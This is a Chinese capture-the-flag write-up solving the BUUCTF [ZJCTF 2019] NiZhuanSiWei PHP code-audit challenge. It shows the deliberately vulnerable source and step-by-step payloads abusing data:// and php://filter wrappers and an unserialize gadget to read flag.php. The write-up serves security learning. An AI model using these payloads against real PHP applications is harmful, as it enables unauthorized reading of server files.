BUUCTF---[ZJCTF 2019]NiZhuanSiWei

他给的那个题目上看了一下没有其他信息,直接打开靶场

打开靶场以后可以看到以下代码,看样子是一道关于PHP代码审计的题目

php 复制代码
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

代码逻辑很清晰,我们需要传递三个GET参数:text、file、password来进行绕过

第一个绕过

先看第一个关于text的if

他的意思是要求 file_get_contents($text, 'r') 读取到的内容 严格等于 "welcome to the zjctf"。满足条件后页面就会输出显示以h1标题包裹的 "welcome to the zjctf,也就是 file_get_contents($text, 'r') 读取到的内容

我们不能直接传一个普通字符串,因为 file_get_contents() 期望的是一个文件路径或流 ,它会去读取这个"文件"的内容,然后与目标字符串进行===强比较

所以这里我们需要用到PHP data:// 伪协议 。这个协议允许我们将数据作为流来嵌入,相当于"模拟"了一个内容是 welcome to the zjctf 的文件。

第一个payload如下:

html 复制代码
?text=data://text/plain,welcome to the zjctf

可以看到页面直接输出了welcome to the zjctf

第二个绕过

接着看第二个if,这是一个过滤,意思是不能出现flag关键词,如果出现则直接退出程序,不是就能执行接下来的程序。

接着往下面看可以看到下面给我们提示了useless.php文件。应该是让我们看一下这个文件

接下来我们尝试访问useless.php这个文件,在这里我们需要用到另一个伪协议PHP php://filter 伪协议 。并且配合 convert.base64-encode 过滤器将内容编码输出,避免被当作PHP代码直接执行,从而看到明文。

第二个payload如下:

html 复制代码
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

其中 read= :显式指定过滤器应用于读取操作。

resource= 用于指定要过滤的目标资源(如文件路径、URL 等)。

可以看到文件内容以base64编码格式输出,我们将其解码得到以下内容

php 复制代码
<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

通过这段代码我们可以知道useless.php 定义了一个 Flag 类,它有一个 __tostring() 魔术方法。

__tostring() 的触发条件 :当把类的对象当作字符串来使用 时(例如 echo $对象),这个方法会被自动调用。

在之前的代码中有一句 echo $password;,而 $password 是我们传参后经过反序列化得到的对象。

__tostring() 方法里的逻辑是:执行 file_get_contents($this->file) 并输出结果。

攻击思路 :我们需要让 $password 是一个反序列化后的 Flag 对象,并且这个对象的 $file 属性值为 flag.php。这样,当代码执行到 echo $password; 时,就会触发 __tostring(),从而帮我们读取 flag.php

造序列化数据 :根据 useless.php 中的类,编写一个简单的PHP脚本来生成我们需要的序列化字符串。

php 复制代码
<?php
class Flag{
    public $file = 'flag.php';
}
$a = new Flag();
echo serialize($a);
?>

运行这段脚本,得到序列化结果:

html 复制代码
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最终Payload

  • text:仍用 data:// 伪协议绕过第一关。

  • file:现在需要真正包含 useless.php 这个文件,这样PHP才能知道 Flag 类的定义。注意不能再用 php://filter 了,直接写 useless.php 即可。

  • password:传入我们刚构造好的序列化字符串。

最终URL如下:

html 复制代码
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

查看页面源代码最终得到flag:

相关推荐
谁把我灯关了3 小时前
【Web安全】SSTI 从零到一:模板引擎原理深度拆解与服务端模板注入全流程解析
web安全·网络安全·ssti·从0到1·模板注入
JS_SWKJ5 小时前
2026年起,等保三级不再只是“防火墙”的事!这类设备成过审“硬通货”
网络安全
小红卒6 小时前
Go语言安全开发学习笔记3:TLS加密反弹Shell 原理与落地实现
网络安全·go语言
Chengbei118 小时前
AI 自动逆向 JS 加密!自动抓密钥、出报告,彻底解放双手,解决抓包数据包加密难题
开发语言·javascript·人工智能·安全·网络安全·网络攻击模型
Z1eaf_complete9 小时前
文件上传漏洞绕过方法
安全·网络安全
白帽黑客-晨哥10 小时前
CTF保姆级教程:从零基础到参赛拿奖,2026年最全指南!
网络安全·渗透测试·ctf比赛·网络安全大赛
~央千澈~10 小时前
《卓伊凡 · 网络安全研究室》之从网络安全角度看:为什么“养虾”其实是一种极其危险的行为
网络安全·养虾·肉鸡
℡終嚸♂68012 小时前
Goby资产测绘漏洞扫描工具红队版自带1000+poc,以及附赠收集的1000+poc(附下载链接)
安全·web安全·php
乾元13 小时前
红队测试:如何对大模型进行系统性的安全红队评估
运维·网络·人工智能·神经网络·安全·网络安全·安全架构